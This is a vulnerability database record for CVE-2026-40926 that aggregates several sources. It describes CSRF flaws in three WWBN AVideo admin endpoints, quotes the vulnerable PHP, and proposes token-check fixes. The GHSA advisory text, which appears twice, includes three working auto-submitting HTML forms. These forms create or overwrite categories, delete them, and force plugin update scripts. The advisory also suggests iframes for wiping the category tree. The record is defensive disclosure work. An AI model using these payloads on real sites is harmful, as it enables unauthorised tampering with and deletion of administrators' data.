{"id":"CVE-2026-40926","aliases":["EUVD-2026-24521","GHSA-ffw8-fwxp-h64w"],"status":"published","title":"WWBN AVideo Vulnerable to CSRF in Admin JSON Endpoints (Category CRUD, Plugin Update Script)","description":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, three admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session. Commit ee5615153c40628ab3ec6fe04962d1f92e67d3e2 contains a fix.","severity":{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00166,"percentile":0.05921,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-352"],"published":"2026-04-14T23:12:39Z","modified":"2026-10-28T02:30:41Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-ffw8-fwxp-h64w","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/ee5615153c40628ab3ec6fe04962d1f92e67d3e2","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40926","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-ffw8-fwxp-h64w"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40926.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-40926","title":"WWBN AVideo Vulnerable to CSRF in Admin JSON Endpoints (Category CRUD, Plugin Update Script)","description":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, three admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session. Commit ee5615153c40628ab3ec6fe04962d1f92e67d3e2 contains a fix.","status":"published","published":"2026-04-21T22:12:28.883Z","modified":"2026-04-22T13:58:06.149Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T13:43:11.445168Z"}],"euvd":[{"id":"EUVD-2026-24521","description":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, three admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session. Commit ee5615153c40628ab3ec6fe04962d1f92e67d3e2 contains a fix.","status":"published","published":"2026-04-21T22:12:28Z","modified":"2026-04-22T13:58:06Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T19:24:20.71791Z"}],"ghsa":[{"id":"GHSA-ffw8-fwxp-h64w","title":"WWBN AVideo has Multiple CSRF Vulnerabilities in Admin JSON Endpoints (Category CRUD, Plugin Update Script)","description":"## Summary\n\nThree admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session.\n\n## Details\n\nAVideo's CSRF defense is not applied globally — each endpoint must explicitly call `isGlobalTokenValid()` (defined in `objects/functions.php:2313`), which verifies `$_REQUEST['globalToken']`. A search across the codebase shows 18 files that correctly invoke `forbidIfIsUntrustedRequest()` or `isGlobalTokenValid()`, while the three endpoints below do not.\n\n### 1. `objects/categoryAddNew.json.php:18` — CSRF create/overwrite category\n\n```php\n 18 if (!Category::canCreateCategory()) {\n 19     $obj-\u003emsg = __(\"Permission denied\");\n 20     die(json_encode($obj));\n 21 }\n 22\n 23 $objCat = new Category(intval(@$_POST['id']));\n 24 $objCat-\u003esetName($_POST['name']);\n 25 $objCat-\u003esetClean_name($_POST['clean_name']);\n 26 $objCat-\u003esetDescription($_POST['description']);\n 27 $objCat-\u003esetIconClass($_POST['iconClass']);\n 28 $objCat-\u003esetSuggested($_POST['suggested']);\n 29 $objCat-\u003esetParentId($_POST['parentId']);\n 30 $objCat-\u003esetPrivate($_POST['private']);\n 31 $objCat-\u003esetAllow_download($_POST['allow_download']);\n 32 $objCat-\u003esetOrder($_POST['order']);\n 33 $obj-\u003ecategories_id = $objCat-\u003esave();\n```\n\n`Category::canCreateCategory()` (`objects/category.php:620-630`) returns true for any admin. Because the row is loaded via `new Category(intval(@$_POST['id']))`, a non-zero `id` causes the existing row to be overwritten, not just created — the same primitive can mutate existing categories. No CSRF/Origin check precedes the write.\n\n### 2. `objects/categoryDelete.json.php:10` — CSRF delete category\n\n```php\n 10 if (!Category::canCreateCategory()) {\n 11     die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n 12 }\n 13 require_once 'category.php';\n 14 $obj = new Category($_POST['id']);\n 15 $response = $obj-\u003edelete();\n```\n\nNo token check. An attacker can force an admin browser to POST any `id`, deleting rows from `categories`.\n\n### 3. `objects/pluginRunUpdateScript.json.php:9` — CSRF forced plugin update\n\n```php\n  9 if (!User::isAdmin()) {\n 10     forbiddenPage('Permission denied');\n 11 }\n 12 if (empty($_POST['name'])) {\n 13     forbiddenPage('Name can\\'t be blank');\n 14 }\n 15 ini_set('max_execution_time', 300);\n 16 require_once $global['systemRootPath'] . 'plugin/AVideoPlugin.php';\n 17\n 18 if($_POST['uuid'] == 'plist12345-370-4b1f-977a-fd0e5cabtube'){\n 19     $_POST['name'] = 'PlayLists';\n 20 }\n 21\n 22 $obj = new stdClass();\n 23 $obj-\u003eerror = !AVideoPlugin::updatePlugin($_POST['name']);\n```\n\n`AVideoPlugin::updatePlugin()` (`plugin/AVideoPlugin.php:1452`) looks up the plugin by name and, if it defines an `updateScript()` method, invokes it and then records the new plugin version via `Plugin::setCurrentVersionByUuid`. No CSRF or Origin check precedes this. By contrast, the sibling endpoint `objects/pluginRunDatabaseScript.json.php:16` does call `isGlobalTokenValid()`, and `objects/pluginSwitch.json.php:12` also calls it — confirming this file is an omission.\n\n### Why no global mitigation blocks this\n\n- `isGlobalTokenValid()` is not invoked from `objects/configuration.php` or any other bootstrap; it must be called per-endpoint.\n- `isUntrustedRequest()` (`objects/functionsSecurity.php:146`) is only triggered via an explicit call to `forbidIfIsUntrustedRequest()`; none of the three endpoints call it.\n- The handlers use `$_POST` directly without any framework-level CSRF middleware (AVideo does not use one).\n- `Category::canCreateCategory()` is purely a role check and does not examine request origin or tokens.\n\n## PoC\n\nAll three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser.\n\n### PoC 1 — Create/overwrite category\n\n```html\n\u003c!-- evil-create.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/categoryAddNew.json.php\" method=\"POST\"\u003e\n  \u003cinput name=\"id\" value=\"0\"\u003e            \u003c!-- 0 = create; any existing id = overwrite --\u003e\n  \u003cinput name=\"name\" value=\"Owned\"\u003e\n  \u003cinput name=\"clean_name\" value=\"owned\"\u003e\n  \u003cinput name=\"description\" value=\"pwn\"\u003e\n  \u003cinput name=\"iconClass\" value=\"fas fa-skull\"\u003e\n  \u003cinput name=\"suggested\" value=\"1\"\u003e\n  \u003cinput name=\"parentId\" value=\"0\"\u003e\n  \u003cinput name=\"private\" value=\"0\"\u003e\n  \u003cinput name=\"allow_download\" value=\"1\"\u003e\n  \u003cinput name=\"order\" value=\"1\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nExpected: a new row appears in the `categories` table, returned as `{\"error\":false,\"categories_id\":\u003cn\u003e,...}`. Changing `id=0` to an existing category id overwrites that row's fields.\n\n### PoC 2 — Delete category\n\n```html\n\u003c!-- evil-delete.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/categoryDelete.json.php\" method=\"POST\"\u003e\n  \u003cinput name=\"id\" value=\"2\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nMultiple hidden iframes with different `id` values can walk the category id space and wipe the category tree.\n\n### PoC 3 — Force plugin updateScript()\n\n```html\n\u003c!-- evil-plugin-update.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/pluginRunUpdateScript.json.php\" method=\"POST\"\u003e\n  \u003cinput name=\"name\" value=\"Live\"\u003e\n  \u003cinput name=\"uuid\" value=\"anything\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nExpected: server logs `AVideoPlugin::updatePlugin name=(Live) uuid=(...)` and the plugin's `updateScript()` runs in the admin's session, with execution time extended to 300s.\n\n## Impact\n\n- **Integrity:** An attacker can silently cause the admin's browser to create, mutate, or delete rows in the `categories` table. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that renders `description` without escaping, this becomes a vector for stored XSS propagation.\n- **Availability (partial):** `categoryDelete.json.php` is a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow.\n- **Privileged code execution trigger:** `pluginRunUpdateScript.json.php` lets the attacker force execution of any installed plugin's `updateScript()` method (with a 5-minute execution window) in the admin's context. When chained with other primitives that influence plugin state or the plugin's own update logic, this is a foothold for deeper compromise.\n- **Blast radius:** Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required.\n\n## Recommended Fix\n\nAdd an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by `pluginSwitch.json.php` and `pluginRunDatabaseScript.json.php`.\n\n```php\n// objects/categoryAddNew.json.php (after line 18)\nif (!Category::canCreateCategory()) {\n    $obj-\u003emsg = __(\"Permission denied\");\n    die(json_encode($obj));\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/categoryDelete.json.php (after line 12)\nif (!Category::canCreateCategory()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/pluginRunUpdateScript.json.php (after line 11)\nif (!User::isAdmin()) {\n    forbiddenPage('Permission denied');\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\nThe long-term fix is to apply `forbidIfIsUntrustedRequest()` to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all `*.json.php` endpoints), so that future handlers cannot forget the check.","status":"published","published":"2026-04-14T23:12:39Z","modified":"2026-05-09T07:39:39Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:40:05.816188Z"}],"nvd":[{"id":"CVE-2026-40926","description":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, three admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session. Commit ee5615153c40628ab3ec6fe04962d1f92e67d3e2 contains a fix.","status":"published","published":"2026-04-21T23:16:20.163Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:12:15.493943Z"}],"osv":[{"id":"CVE-2026-40926","title":"WWBN AVideo Vulnerable to CSRF in Admin JSON Endpoints (Category CRUD, Plugin Update Script)","description":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, three admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session. Commit ee5615153c40628ab3ec6fe04962d1f92e67d3e2 contains a fix.","status":"published","published":"2026-04-21T22:12:28.883Z","modified":"2026-10-28T02:30:41.196312305Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:45:03.424067Z"},{"id":"GHSA-ffw8-fwxp-h64w","title":"WWBN AVideo has Multiple CSRF Vulnerabilities in Admin JSON Endpoints (Category CRUD, Plugin Update Script)","description":"## Summary\n\nThree admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session.\n\n## Details\n\nAVideo's CSRF defense is not applied globally — each endpoint must explicitly call `isGlobalTokenValid()` (defined in `objects/functions.php:2313`), which verifies `$_REQUEST['globalToken']`. A search across the codebase shows 18 files that correctly invoke `forbidIfIsUntrustedRequest()` or `isGlobalTokenValid()`, while the three endpoints below do not.\n\n### 1. `objects/categoryAddNew.json.php:18` — CSRF create/overwrite category\n\n```php\n 18 if (!Category::canCreateCategory()) {\n 19     $obj-\u003emsg = __(\"Permission denied\");\n 20     die(json_encode($obj));\n 21 }\n 22\n 23 $objCat = new Category(intval(@$_POST['id']));\n 24 $objCat-\u003esetName($_POST['name']);\n 25 $objCat-\u003esetClean_name($_POST['clean_name']);\n 26 $objCat-\u003esetDescription($_POST['description']);\n 27 $objCat-\u003esetIconClass($_POST['iconClass']);\n 28 $objCat-\u003esetSuggested($_POST['suggested']);\n 29 $objCat-\u003esetParentId($_POST['parentId']);\n 30 $objCat-\u003esetPrivate($_POST['private']);\n 31 $objCat-\u003esetAllow_download($_POST['allow_download']);\n 32 $objCat-\u003esetOrder($_POST['order']);\n 33 $obj-\u003ecategories_id = $objCat-\u003esave();\n```\n\n`Category::canCreateCategory()` (`objects/category.php:620-630`) returns true for any admin. Because the row is loaded via `new Category(intval(@$_POST['id']))`, a non-zero `id` causes the existing row to be overwritten, not just created — the same primitive can mutate existing categories. No CSRF/Origin check precedes the write.\n\n### 2. `objects/categoryDelete.json.php:10` — CSRF delete category\n\n```php\n 10 if (!Category::canCreateCategory()) {\n 11     die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n 12 }\n 13 require_once 'category.php';\n 14 $obj = new Category($_POST['id']);\n 15 $response = $obj-\u003edelete();\n```\n\nNo token check. An attacker can force an admin browser to POST any `id`, deleting rows from `categories`.\n\n### 3. `objects/pluginRunUpdateScript.json.php:9` — CSRF forced plugin update\n\n```php\n  9 if (!User::isAdmin()) {\n 10     forbiddenPage('Permission denied');\n 11 }\n 12 if (empty($_POST['name'])) {\n 13     forbiddenPage('Name can\\'t be blank');\n 14 }\n 15 ini_set('max_execution_time', 300);\n 16 require_once $global['systemRootPath'] . 'plugin/AVideoPlugin.php';\n 17\n 18 if($_POST['uuid'] == 'plist12345-370-4b1f-977a-fd0e5cabtube'){\n 19     $_POST['name'] = 'PlayLists';\n 20 }\n 21\n 22 $obj = new stdClass();\n 23 $obj-\u003eerror = !AVideoPlugin::updatePlugin($_POST['name']);\n```\n\n`AVideoPlugin::updatePlugin()` (`plugin/AVideoPlugin.php:1452`) looks up the plugin by name and, if it defines an `updateScript()` method, invokes it and then records the new plugin version via `Plugin::setCurrentVersionByUuid`. No CSRF or Origin check precedes this. By contrast, the sibling endpoint `objects/pluginRunDatabaseScript.json.php:16` does call `isGlobalTokenValid()`, and `objects/pluginSwitch.json.php:12` also calls it — confirming this file is an omission.\n\n### Why no global mitigation blocks this\n\n- `isGlobalTokenValid()` is not invoked from `objects/configuration.php` or any other bootstrap; it must be called per-endpoint.\n- `isUntrustedRequest()` (`objects/functionsSecurity.php:146`) is only triggered via an explicit call to `forbidIfIsUntrustedRequest()`; none of the three endpoints call it.\n- The handlers use `$_POST` directly without any framework-level CSRF middleware (AVideo does not use one).\n- `Category::canCreateCategory()` is purely a role check and does not examine request origin or tokens.\n\n## PoC\n\nAll three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser.\n\n### PoC 1 — Create/overwrite category\n\n```html\n\u003c!-- evil-create.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/categoryAddNew.json.php\" method=\"POST\"\u003e\n  \u003cinput name=\"id\" value=\"0\"\u003e            \u003c!-- 0 = create; any existing id = overwrite --\u003e\n  \u003cinput name=\"name\" value=\"Owned\"\u003e\n  \u003cinput name=\"clean_name\" value=\"owned\"\u003e\n  \u003cinput name=\"description\" value=\"pwn\"\u003e\n  \u003cinput name=\"iconClass\" value=\"fas fa-skull\"\u003e\n  \u003cinput name=\"suggested\" value=\"1\"\u003e\n  \u003cinput name=\"parentId\" value=\"0\"\u003e\n  \u003cinput name=\"private\" value=\"0\"\u003e\n  \u003cinput name=\"allow_download\" value=\"1\"\u003e\n  \u003cinput name=\"order\" value=\"1\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nExpected: a new row appears in the `categories` table, returned as `{\"error\":false,\"categories_id\":\u003cn\u003e,...}`. Changing `id=0` to an existing category id overwrites that row's fields.\n\n### PoC 2 — Delete category\n\n```html\n\u003c!-- evil-delete.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/categoryDelete.json.php\" method=\"POST\"\u003e\n  \u003cinput name=\"id\" value=\"2\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nMultiple hidden iframes with different `id` values can walk the category id space and wipe the category tree.\n\n### PoC 3 — Force plugin updateScript()\n\n```html\n\u003c!-- evil-plugin-update.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/pluginRunUpdateScript.json.php\" method=\"POST\"\u003e\n  \u003cinput name=\"name\" value=\"Live\"\u003e\n  \u003cinput name=\"uuid\" value=\"anything\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nExpected: server logs `AVideoPlugin::updatePlugin name=(Live) uuid=(...)` and the plugin's `updateScript()` runs in the admin's session, with execution time extended to 300s.\n\n## Impact\n\n- **Integrity:** An attacker can silently cause the admin's browser to create, mutate, or delete rows in the `categories` table. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that renders `description` without escaping, this becomes a vector for stored XSS propagation.\n- **Availability (partial):** `categoryDelete.json.php` is a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow.\n- **Privileged code execution trigger:** `pluginRunUpdateScript.json.php` lets the attacker force execution of any installed plugin's `updateScript()` method (with a 5-minute execution window) in the admin's context. When chained with other primitives that influence plugin state or the plugin's own update logic, this is a foothold for deeper compromise.\n- **Blast radius:** Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required.\n\n## Recommended Fix\n\nAdd an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by `pluginSwitch.json.php` and `pluginRunDatabaseScript.json.php`.\n\n```php\n// objects/categoryAddNew.json.php (after line 18)\nif (!Category::canCreateCategory()) {\n    $obj-\u003emsg = __(\"Permission denied\");\n    die(json_encode($obj));\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/categoryDelete.json.php (after line 12)\nif (!Category::canCreateCategory()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/pluginRunUpdateScript.json.php (after line 11)\nif (!User::isAdmin()) {\n    forbiddenPage('Permission denied');\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\nThe long-term fix is to apply `forbidIfIsUntrustedRequest()` to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all `*.json.php` endpoints), so that future handlers cannot forget the check.","status":"published","published":"2026-04-14T23:12:39Z","modified":"2026-05-05T16:11:48.169871Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:46:46.39441Z"}]}}
